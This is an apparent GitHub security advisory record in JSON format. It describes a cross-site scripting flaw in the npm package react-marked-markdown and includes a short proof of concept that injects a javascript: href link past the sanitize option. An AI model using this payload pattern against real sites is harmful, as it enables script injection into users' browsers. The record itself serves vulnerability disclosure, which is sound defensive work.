{"id":"GHSA-m7qm-r2r5-f77q","summary":"Cross-Site Scripting in react-marked-markdown","details":"All versions of `react-marked-markdown` are vulnerable to cross-site scripting (XSS) via `href` attributes. This is exploitable if user is provided to `react-marked-markdown`\n\nProof of concept:\n\n```\nimport React from 'react'\nimport ReactDOM from 'react-dom'\nimport { MarkdownPreview } from 'react-marked-markdown'\n\nReactDOM.render(\n\u003cMarkdownPreview\nmarkedOptions={{ sanitize: true }}\nvalue={'[XSS](javascript: alert`1`)'}\n/\u003e,\ndocument.getElementById('root')\n)\n```\n\n\n## Recommendation\n\nNo fix is currently available for this vulnerability. It is our recommendation to not install or use this module at this time if you allow user input into href values.\n","modified":"2021-09-24T20:35:29Z","published":"2020-09-01T20:43:48Z","database_specific":{"github_reviewed_at":"2020-08-31T18:32:03Z","nvd_published_at":null,"cwe_ids":["CWE-79"],"severity":"HIGH","github_reviewed":true},"references":[{"type":"WEB","url":"https://github.com/Vincent-P/react-marked-markdown/issues/61"},{"type":"WEB","url":"https://hackerone.com/reports/344069"},{"type":"PACKAGE","url":"https://github.com/Vincent-P/react-marked-markdown"},{"type":"WEB","url":"https://www.npmjs.com/advisories/668"}],"affected":[{"package":{"name":"react-marked-markdown","ecosystem":"npm","purl":"pkg:npm/react-marked-markdown"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0.0.0"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2020/09/GHSA-m7qm-r2r5-f77q/GHSA-m7qm-r2r5-f77q.json"}}],"schema_version":"1.9.0"}